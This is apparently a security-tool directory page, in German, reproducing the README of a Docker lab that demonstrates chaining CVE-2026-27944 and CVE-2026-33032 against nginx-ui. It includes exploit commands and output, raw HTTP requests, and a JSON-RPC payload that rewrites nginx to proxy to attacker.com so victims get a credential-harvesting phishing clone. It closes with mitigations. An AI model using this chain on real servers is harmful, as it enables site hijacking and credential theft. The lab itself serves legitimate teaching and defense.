Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-33032-nginx-ui-vuln-lab — Docker-Compose-Setup zur Demonstration der nginx-ui-Schwachstelle für fehlende Authentifizierung | Kitploit
Tools/GitHubGitHub/shreda/cve-2026-33032-nginx-ui-vuln-lab
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungRed TeamingLabs & Praxis
GitHubshreda/cve-2026-33032-nginx-ui-vuln-lab

CVE-2026-33032-nginx-ui-vuln-lab

Docker-Compose-Setup zur Demonstration der nginx-ui-Schwachstelle für fehlende Authentifizierung

Repository anzeigen
1vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-27944 + CVE-2026-33032 — nginx-ui Zero-Credential RCE Lab

Haftungsausschluss: Dieses Repository dient ausschließlich Bildungs- und autorisierten Sicherheitsforschungszwecken. Alle hier demonstrierten Techniken sollten nur gegen Systeme eingesetzt werden, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben. Die Autoren übernehmen keine Verantwortung für Missbrauch. Führen Sie dies nicht gegen ein System ohne Autorisierung aus.

Ein eigenständiges Docker-Compose-Lab, das eine Zwei-CVE-Kette gegen nginx-ui v2.3.1 demonstriert, die eine vollständige nginx-Übernahme mit null Vorwissen erreicht — keine Benutzernamen, keine Passwörter, keine Tokens.


Verwundbarkeitskette

CVE-2026-27944 — Nicht authentifizierter Backup-Endpunkt + Schlüsseloffenlegung

GET /api/backup erfordert keine Authentifizierung. Der Endpunkt gibt ein vollständig verschlüsseltes Backup der nginx-ui-Installation zurück — einschließlich app.ini — und sendet den AES-256-CBC-Entschlüsselungsschlüssel und IV im Klartext im Antwort-Header:

root@kitploit:~
X-Backup-Security: <base64_key>:<base64_iv>

Aus dem Quellcode (api/backup/router.go):

root@kitploit:~
r.GET("/backup", CreateBackup)   // ❌ keine Middleware
r.POST("/restore", middleware.EncryptedForm(), RestoreBackup)

Die Entschlüsselung des Backups liefert app.ini, das das für Schritt 2 benötigte [node] Secret enthält.

CVECVE-2026-27944 (GHSA-g9w5-qffc-6762)
CVSS9.8 Kritisch
Betroffennginx-ui < 2.3.2
Behoben innginx-ui 2.3.3

CVE-2026-33032 „MCPwn" — Nicht authentifizierter MCP-Nachrichten-Handler

nginx-ui v2.3.x fügte eine Model Context Protocol (MCP)-Schnittstelle hinzu, die 12 nginx-Verwaltungswerkzeuge bereitstellt. Der Fehler ist ein einzelner fehlender Middleware-Aufruf in mcp/router.go:

root@kitploit:~
r.Any("/mcp",         middleware.IPWhiteList(), middleware.AuthRequired(), ...)
r.Any("/mcp_message", middleware.IPWhiteList(), ...)   // ❌ AuthRequired() FEHLT

Mit einer über das Node-Secret erhaltenen sessionId kann ein Angreifer ohne Benutzeranmeldeinformationen an /mcp_message POSTen und jedes privilegierte Werkzeug aufrufen — einschließlich nginx_config_modify und reload_nginx.

CVECVE-2026-33032
AliasMCPwn (Pluto Security)
CVSS9.8 Kritisch
Betroffennginx-ui ≤ 2.3.3
Behoben innginx-ui 2.3.4

Laborarchitektur

root@kitploit:~
┌──────────────────────────────────────────────────────────┐
│  Browser                                                  │
│  http://localhost:8080  ──►  nginx_ui (:80)              │
│                                    │                     │
│  Angreifer                         ▼                     │
│  http://localhost:9000  ──►  nginx_ui (:9000) VERWUNDBAR │
│  (keine Anmeldedaten)      uozi/nginx-ui:v2.3.1          │
│                                                          │
│              ┌─────────────────────────┐                 │
│              │  webapp (grün)           │  legitimes      │
│              │  proxy_pass Standard    │  Login-Formular │
│              └─────────────────────────┘                 │
│              ┌─────────────────────────┐                 │
│              │  malicious_site (rot)    │  Phishing-Klon  │
│              │  proxy_pass nach Angriff │  erntet Zugangs-│
│              └─────────────────────────┘  daten          │
└──────────────────────────────────────────────────────────┘

nginx-ui bündelt seine eigene nginx-Instanz. Wenn der Exploit reload_nginx über MCP aufruft, lädt es dieselbe nginx neu, die den Datenverkehr auf :8080 bedient — kein Host-Zugriff erforderlich.


Schnellstart

Voraussetzungen: Docker + Docker Compose + Python 3.10+

root@kitploit:~
git clone <repo-url>
cd nginx-ui-vuln-lab
docker compose up -d
URL
http://localhost:8080Opferseite — grün (legitim)
http://localhost:9000nginx-ui-Admin-Panel

Ausführen des Exploits

root@kitploit:~
pip install -r exploit/requirements.txt

python3 exploit/exploit.py --url http://localhost:9000

Das Skript verknüpft beide CVEs ohne vorherige Anmeldedaten:

root@kitploit:~
==============================================================
  CVE-2026-27944 + CVE-2026-33032  —  nginx-ui Zero-Cred RCE
  Ziel : http://localhost:9000
==============================================================

[*] CVE-2026-27944 — Backup wird heruntergeladen (keine Auth)
[+] AES-Schlüssel+IV aus Header: kW3pCR7RLawHFVeF...:oTr+K3Bd...
[+] Node-Secret extrahiert: 605f228e-2480-49ec-8dd2-045d8d8a073f

[*] CVE-2026-33032 — Nicht authentifizierte MCP-Sitzung wird geöffnet (GET /mcp)
[+] sessionId: ee83906e-ee26-4d65-83f8-91d62b00770a

[*] Aufklärung — aktuelle Konfiguration wird gelesen
[+] Aktuell: proxy_pass http://webapp:80;

[*] default.conf wird überschrieben via POST /mcp_message (keine Auth)
[+] Neu:     proxy_pass http://malicious_site:80;

[*] nginx wird neu geladen via POST /mcp_message (keine Auth)
[+] nginx neu geladen — Konfiguration ist aktiv

[!] Angriff abgeschlossen.
    Opfer unter http://localhost:8080/ erhalten nun die Phishing-Seite.
    Erfasste Anmeldedaten anzeigen: http://localhost:8080/?debug=1

Nach dem Exploit wechselt http://localhost:8080 von der grünen legitimen Seite zum roten Phishing-Klon — unter derselben URL, ohne Hinweis für das Opfer.

Öffnen Sie http://localhost:8080/?debug=1, um das Angreifer-Panel anzuzeigen und in Echtzeit erfasste Anmeldedaten zu sehen.

Zurücksetzen

root@kitploit:~
python3 exploit/exploit.py --url http://localhost:9000 --reset

Verwendet dieselbe CVE-Kette, um die ursprüngliche Konfiguration wiederherzustellen und nginx neu zu laden.


So funktioniert es

Stufe 1 — Node-Secret extrahieren (CVE-2026-27944)

root@kitploit:~
GET /api/backup HTTP/1.1
Host: target:9000

Antwort:

root@kitploit:~
HTTP/1.1 200 OK
X-Backup-Security: <base64_key>:<base64_iv>
Content-Type: application/zip

Entschlüsseln Sie die ZIP-Datei mit dem bereitgestellten Schlüssel/IV → app.ini extrahieren → [node] Secret lesen.

Stufe 2 — nginx übernehmen (CVE-2026-33032)

Anfrage 1 — SSE-Sitzung öffnen (Node-Secret, keine Benutzer-Auth):

root@kitploit:~
GET /mcp?node_secret=<uuid>

Der SSE-Stream antwortet mit einer sessionId.

Anfrage 2+ — Werkzeuge aufrufen (überhaupt keine Auth):

root@kitploit:~
POST /mcp_message?sessionId=<uuid>
Content-Type: application/json

{
  "jsonrpc": "2.0", "id": 1, "method": "tools/call",
  "params": {
    "name": "nginx_config_modify",
    "arguments": {
      "relative_path": "default.conf",
      "content": "server { location / { proxy_pass http://attacker.com; } }",
      "sync_overwrite": false
    }
  }
}

Kein Authorization-Header. Kein Cookie. AuthRequired() fehlt schlichtweg in der /mcp_message-Route.


Verfügbare MCP-Werkzeuge (alle ohne Authentifizierung zugänglich)

WerkzeugAuswirkung
nginx_config_modifyBeliebige Konfigurationsdatei überschreiben
nginx_config_addNeue Konfigurationsdateien erstellen
nginx_config_getBeliebige Konfigurationsdatei lesen
nginx_config_listAlle Konfigurationen auflisten
nginx_config_enable/disableSite-Konfigurationen umschalten
nginx_config_renameKonfigurationsdateien verschieben/umbenennen
nginx_config_mkdirVerzeichnisse erstellen
nginx_config_historyÄnderungshistorie anzeigen
nginx_config_base_pathKonfigurations-Root-Pfad offenlegen
nginx_statusnginx-Status prüfen
reload_nginxKonfigurationsänderungen live anwenden
restart_nginxVollständiger nginx-Neustart

Verteidigungsmaßnahmen

  • Patchen — Upgrade auf nginx-ui ≥ 2.3.4
  • Netzwerkisolation — nginx-ui niemals ungeschützten Netzwerken aussetzen; hinter einer VPN oder Firewall platzieren
  • IP-Allowlist — eine nicht leere [node] IPWhiteList in app.ini setzen, um den MCP-Zugriff auf bestimmte IPs zu beschränken
  • MFA — Multi-Faktor-Authentifizierung für das Admin-Konto aktivieren
  • FIM — /etc/nginx/conf.d/ mit Dateiintegritätsüberwachung überwachen (auditd, Wazuh usw.)
Tool herunterladen